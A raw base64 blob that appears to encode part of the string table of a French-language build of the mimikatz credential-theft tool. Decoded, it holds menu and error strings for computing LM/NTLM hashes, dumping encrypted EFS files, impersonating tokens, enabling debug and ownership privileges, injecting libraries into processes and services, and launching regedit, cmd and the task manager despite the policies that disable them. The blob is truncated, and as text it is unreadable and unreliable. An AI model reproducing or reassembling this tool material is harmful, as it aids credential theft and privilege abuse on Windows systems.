AGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAEcARQBOAEUAUgBJAEMAAABEAE8ATQBBAEkATgBfAFAAQQBTAFMAVwBPAFIARAAAAEQATwBNAEEASQBOAF8AQwBFAFIAVABJAEYASQBDAEEAVABFAAAAAABEAE8ATQBBAEkATgBfAFYASQBTAEkAQgBMAEUAXwBQAEEAUwBTAFcATwBSAEQAAABHAEUATgBFAFIASQBDAF8AQwBFAFIAVABJAEYASQBDAEEAVAAAAAAARABPAE0AQQBJAE4AXwBFAFgAVABFAE4ARABFAEQAAAA/AAAAQwByAGUAZABlAG4AdABpAGEAbAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEMAbwBtAG0AZQBuAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAQwByAGUAZABFAG4AdQBtAGUAcgBhAHQAZQAgADoAIAAAAAAAgFvoGG9kiTo0zlnfTbRaD2mUWHBxSxfPw0Cq/MXgIduaSWi4L0ps3HqLf1wDCP45o8Yxpoy9cqSKG5LVh614j1WWCzCoQ1OwYqDafBONXYHAjpCI5Ld2wrUEk6Wpnqv1N6yZJuI4heF0dzLlkSOxEExHP76CImpR0GN1ETOb+zvK7d1E5hJOlzx5T0FmulAOyWsF7m7nlXtgnf/EKYa5fZjInDW7vO/6PQb5Nr8+fqLHVq7Lr+lCYfAd/WWfUifqJKGnsm0Us0X4tvdzwYOE9MzN8+NUFdFGB1cs0tPW1Nf269gcAAnsZwrZFt7x8gEtXkgCDF8NGRooHh8gJSorLlBJVAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIABsAGUAYwB0AHUAcgBlACAAZAB1ACAAZgBpAGMAaABpAGUAcgAgACcAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAOkAYwByAGkAdAB1AHIAZQAgAGQAdQAgAGYAaQBjAGgAaQBlAHIAIAAnAAAAdwBiAAAAAAAgACoAIABEAG8AbgBuAOkAZQBzACAAOgAgAAAAIAAhAD0AIAAAAAAASwBPACAALQAgAGQAaQBmAGYA6QByAGUAbgB0ACAAZABlACAAJwBQAEkAVAAnACAAOwAgAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAABpAG4AZgBvAHMAAABBAGYAZgBpAGMAaABlACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHQAcgDoAHMAIABkAOkAdABhAGkAbABsAOkAZQBzACAAcwB1AHIAIAB1AG4AIABmAGkAYwBoAGkAZQByACAAYwBoAGkAZgBmAHIA6QAAAGYAdQBsAGwAAAAAAAAAAABEAHUAbQBwACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAARQBGAFMAIABkACcAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAIAB2AGUAcgBzACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGIAcgB1AHQAAAAAAHQAbwByAGEAdwAAAFUAdABpAGwAaQBzAGEAdABlAHUAcgAoAHMAKQAgAGQA6QBjAGwAYQByAOkAKABzACkAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6ACAAAAAAAAAAAABFAHIAcgBlAHUAcgAgAFEAdQBlAHIAeQBSAGUAYwBvAHYAZQByAHkAQQBnAGUAbgB0AHMATwBuAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAIAA6ACAAAAAAAEUARgBTACAATQBlAHQAYQBkAGEAdABhAAAAAABEAEEAVABBAAAAAAAgACoAIABUAHkAcABlACAAIAAgADoAIAAAAAAAKABFAEYAUwAgAE0AZQB0AGEAZABhAHQAYQAgAHMAdAByAGUAYQBtACkAAAAgACoAIABOAG8AbQAgACAAIAAgADoAIAAAAAAAIAAqACAARgBsAGEAZwAgACAAIAA6ACAAAAAAACAAKgAgAFQAYQBpAGwAbABlACAAOgAgAAAAAABNAGEAcgBzAGgAYQBsAGUAZAAgAFMAdAByAGUAYQBtACAAOgAAAAAARABhAHQAYQBTAGUAZwBtAGUAbgB0ACAAOgAgAAAAAAAgACAARQBGAFMAIABNAGUAdABhAGQAYQB0AGEAIAA6AAAAAAAgACAAIAAqACAAVgBlAHIAcwBpAG8AbgAgAEUARgBTACAAOgAgAAAAAAAAACAAIAAgACoAIABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAKABzACkAIABkAOkAYwBsAGEAcgDpACgAcwApACAAOgAAAAAAAAAAACAAIAAgACoAIABBAGcAZQBuAHQAKABzACkAIABkAGUAIAByAGUAYwBvAHUAdgByAGUAbQBlAG4AdAAgACAAOgAAAAAAIAAgAEQAQQBUAEEAIAA6AAAAAAAgACAARABBAFQAQQAgAFMAZQBnAG0AZQBuAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASABlAGEAZABlAHIAIAA6AAAAAAAgACAAIAAqACAATgB1AG0AYgBlAHIATwBmAEQAYQB0AGEAQgBsAG8AYwBrAHMAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBsAHUAcwB0AGUAcgBTAGgAaQBmAHQAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBoAHUAbgBrAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARABhAHQAYQBVAG4AaQB0AFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFYARABMACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFMAdAByAGUAYQBtAFMAaQB6AGUAIAA6ACAAAAAgACAAIAAqACAAUwB0AGEAcgB0AGkAbgBnAEYAaQBsAGUAXwBPAGYAZgBzAGUAdAAgACAAIAA6ACAAAAAgACAAIAAqACAATABlAG4AZwB0AGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARQB4AHQAZQBuAGQAZQBkACAASABlAGEAZABlAHIAIABGAGwAYQBnACAAIAA6ACAAAAAgADsAIAB0AGEAaQBsAGwAZQAgADoAIAAAAAAAIAAgACAAIAAtAD4AIABCAGwAbwBjAGsAIAAAAFQATwBEAE8AIABEAGEAdABhAAAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAAEUAcgByAGUAdQByACAATwBwAGUAbgBFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAZQAgADoAIAAAAFYAZQByAHMAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAIAAqACAARQB4AHAAbwByAHQAIABPAEsAAAAAAAAAAAAqACAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAACAAKgAgAEgAYQBzAGgAIABkAHUAIABjAGUAcgB0AGkAZgBpAGMAYQB0ACAAOgAgAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAIAAqACAATgBvAG0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAALQAgAEwAZQBjAHQAdQByAGUAIABkACcAdQBuACAAYgBsAG8AYwAgAGQAZQAgADoAIAAAAAAAIAA6AAAAAAAgACAAIAAgAEMAaABhAG0AcAAgAGQAZQAgAGQAbwBuAG4A6QBlAHMAIAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAIAAgACAAIAAgACAALQA+ACAARABvAG4AbgDpAGUAcwAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFQAYQBpAGwAbABlACAAIAA6ACAAAAAgACAAIAAgACAAKgAgAEYARQBLACAAKABjAGgAaQBmAGYAcgDpAGUAKQAgADoAIAAAAAAAIAAgACAAIAAgACoAIABGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAGwAaQBzAHQAAAAAAEUAcwBzAGEAeQBlACAAZABlACAAcwB0AG8AcABwAGUAcgAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAG8AYwBlAHMAcwB1AHMAIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAAAAAAAARQBzAHMAYQB5AGUAIABkACcAaQBtAHAAZQByAHMAbwBuAGEAbABpAHMAZQByACAAdQBuACAAdABvAGsAZQBuACAAZQBuACAAdQB0AGkAbABpAHMAYQBuAHQAIABkACcAYQB1AHQAcgBlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAB0AG8AawBlAG4ASQBtAHAAZQByAHMAbwBuAGEAdABlAAAAAAAAAAAAUABvAHMAaQB0AGkAbwBuAG4AZQAgAHUAbgBlACAAQQBDAEwAIABuAHUAbABsACAAcwB1AHIAIABkAGUAcwAgAEgAYQBuAGQAbABlAHMAAABuAHUAbABsAEEAYwBsAAAAdABvAGsAZQBuAAAAIAAgAAAAAAAgAC0APgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABTAHkAcwB0AGUAbQBIAGEAbgBkAGwAZQBzACAAOwAgAAAACQBUAGUAcgBtAGkAbgBhAHQAZQAgAFAAcgBvAGMAZQBzAHMAIAAtACAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAVABlAHIAbQBpAG4AYQB0AGUASgBvAGIATwBiAGoAZQBjAHQAIAAtACAAAAAAAAAAQQBzAHMAaQBnAG4AUAByAG8AYwBlAHMAcwBUAG8ASgBvAGIATwBiAGoAZQBjAHQAIAAtACAASwBPACAAOwAgAAAAAABOdFNldEluZm9ybWF0aW9uUHJvY2VzcwBvAGsAIAAhACEAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAE4AVQBMAEwAIAAhAAAAAAAJAAkAAAAAAAAAAABIAGEAcwBoACAATABhAG4ATQBhAG4AYQBnAGUAcgAgACgATABNACkAIABkACcAdQBuAGUAIABjAGgAYQDuAG4AZQAgAGQAZQAgAGMAYQByAGEAYwB0AOgAcgBlAHMAAABsAG0AAAAAAEgAYQBzAGgAIABOAFQAIABMAGEAbgBNAGEAbgBnAGUAcgAgACgATgBUAEwATQApACAAZAAnAHUAbgBlACAAYwBoAGEA7gBuAGUAIABkAGUAIABjAGEAcgBhAGMAdADoAHIAZQBzAAAAbgB0AGwAbQAAAAAAJwApACAAPQAgAAAATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABMAE0AAABOAFQATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABOAFQATABNAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAFAASQBEAAAAcABpAGQAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHMAZQByAHYAaQBjAGUAAAApAC4AdABoADMAMgBQAHIAbwBjAGUAcwBzAEkARAAgAD0AIAAAAAAAUABSAE8AQwBFAFMAUwBFAE4AVABSAFkAMwAyACgAAAAnACAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBQAHIAbwBjAGUAcwBzAEYAbwByAE4AYQBtAGUAIAA6ACAAAABUAHIAbwBwACwAIABvAHUAIABwAGEAcwAgAGQAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAgACcAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAABTAGUAcgB2AGkAYwBlACAAdQBuAGkAcQB1AGUAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAIAA6ACAAJwAAAAAALgAAAGsAaQB3AGkAXABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAQQB0AHQAZQBuAHQAZQAgAGQAZQAgAGMAbwBuAG4AZQB4AGkAbwBuACAAZAB1ACAAYwBsAGkAZQBuAHQALgAuAC4AAABTAGUAcgB2AGUAdQByACAAYwBvAG4AbgBlAGMAdADpACAA4AAgAHUAbgAgAGMAbABpAGUAbgB0ACAAIQAAAAAATQBlAHMAcwBhAGcAZQAgAGQAdQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAHUAbgAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AIAAhACAAOwAgAAAASQBuAGoAZQBjAHQA6QAgAHMAYQBuAHMAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAAKABsAGUAZwBhAGMAeQApAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABvAG4AIABlAHMAdAAgAGQA6QBqAOAAIABvAHUAdgBlAHIAdAAAAAAAAABGAGUAcgBtAGUAdAB1AHIAZQAgAGQAdQAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAQwBoAGEAbQBwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAYwBvAGwAbwBuAG4AZQBzAAAAIABsAGkAZwBuAGUAcwAgAHgAIAAAAAAARABpAG0AZQBuAHMAaQBvAG4AIAAgACAAIAAgACAAIAA6ACAAAAAAAE0AaQBuAGUAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAdQAgAHAAbABhAHQAZQBhAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAGQAbwBuAG4A6QBlAHMAIABkAHUAIABqAGUAdQAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAA6QBsAGUAbQBlAG4AdABzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAcwAgAGMAbwBsAG8AbgBuAGUAcwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAIABsACcA6QBsAGUAbQBlAG4AdAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABMAGEAbgBjAGUAIAB1AG4AIADpAGQAaQB0AGUAdQByACAAZABlACAAcgBlAGcAaQBzAHQAcgBlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAByAGUAZwBlAGQAaQB0AAAATABhAG4AYwBlACAAdQBuAGUAIABpAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAAAAGMAbQBkAAAAAAAAAEwAYQBuAGMAZQAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAB0AGEAcwBrAG0AZwByAAAATABhAG4AYwBlACAATwB1AHQAbABvAG8AawAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBQAHMAdAAAAAAAbwBsAHAAcwB0AAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAE9LAABLTwAARQBkAGkAdABlAHUAcgAgAGQAZQAgAHIAZQBnAGkAcwB0AHIAZQAgADoAIAAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEkAbgB2AGkAdABlACAAZABlACAAYwBvAG0AbQBhAG4AZABlACAAOgAgAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAEcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlAHMAIAA6ACAAAABEaXNhYmxlUHN0AABLaXdpQW5kUHN0AABPAHUAdABsAG8AbwBrAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAATwB1AHQAbABvAG8AawAgAGEAdgBlAGMAIABQAFMAVAAgACAAIAA6ACAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAATwB1AHQAbABvAG8AawAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAAAFMAbwBmAHQAdwBhAHIAZQBcAEMAbABhAHMAcwBlAHMAXAAAAFwAQwBMAFMASQBEAAAAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAQwBMAFMASQBEAFwAAABcAEwAbwBjAGEAbABTAGUAcgB2AGUAcgAzADIAAAAAACcgOiAAAAAAUmVnUXVlcnlWYWx1ZUV4ICcAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAUABlAGIAIAAAAAAAUgBlAHMAdQBtAGUAVABoAHIAZQBhAGQAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAHUAbgBpAGMAbwBkAGUAKQAgAFQAYQBpAGwAbABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAG8AcgBpAGcAaQBuAGEAbAAgAGQAaQBmAGYA6QByAGUAbgB0AGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAYwBpAGIAbABlAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAbgBvAG4ALQB1AG4AaQBjAG8AZABlACkAIABUAGEAaQBsAGwAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABvAHIAaQBnAGkAbgBhAGwAIABkAGkAZgBmAOkAcgBlAG4AdABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAGMAaQBiAGwAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAQQBjAHQAaQB2AGUAIAB1AG4AIABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwAgAHAAcgBpAHYAaQBsAOgAZwBlAHMAAABlAG4AYQBiAGwAZQAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAcgBlAG0AbwB2AGUAAAAAAAAAAABEAOkAcwBhAGMAdABpAHYAZQAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAZABpAHMAYQBiAGwAZQAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABEAGUAYgB1AGcAAABkAGUAYgB1AGcAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAVABjAGIAAAB0AGMAYgAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAAAB0AGEAawBlAG8AdwBuAGUAcgAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAJwBBAEMAVABJAFYAQQBUAEkATwBOAAAAZQAgAFIARQBUAFIAQQBJAFQAAABEAGUAbQBhAG4AZABlACAAZAAAAEUATgBBAEIATABFAEQAXwBCAFkAXwBEAEUARgBBAFUATABUACAAAABFAE4AQQBCAEwARQBEACAAAAAAAFIARQBNAE8AVgBFAEQAIAAAAAAAVQBTAEUARABfAEYATwBSAF8AQQBDAEMARQBTAFMAIAAAAAAAUgBFAE0ATwBWAEUARAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBTAGUAYwB1AHIAaQB0AHkAUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABjAGIAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBJAG0AcABlAHIAcwBvAG4AYQB0AGUAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQAAAFMAZQBTAGgAdQB0AGQAbwB3AG4AUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAAABFAHgA6QBjAHUAdABlACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMALAAgAC8AcABhAHUAcwBlAGQAIABlAHQALwBvAHUAIAAvAHMAdQBkAG8AAABzAHQAYQByAHQAAABTAHUAcwBwAGUAbgBkACAAbAAnAGUAeADpAGMAdQB0AGkAbwBuACAAZAAnAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAABzAHUAcwBwAGUAbgBkAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAByAGUAcwB1AG0AZQAAAAAAAAAAAFMAdABvAHAAcABlACAAdQBuACAAKABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwApACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAHMAdABvAHAAAAAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AbwBkAHUAbABlAHMAIAAoAHAAbwB1AHIAIABsAGUAIABtAG8AbQBlAG4AdAAgAGQAdQAgAFAASQBEACAAYwBvAHUAcgBhAG4AdAApAAAAbQBv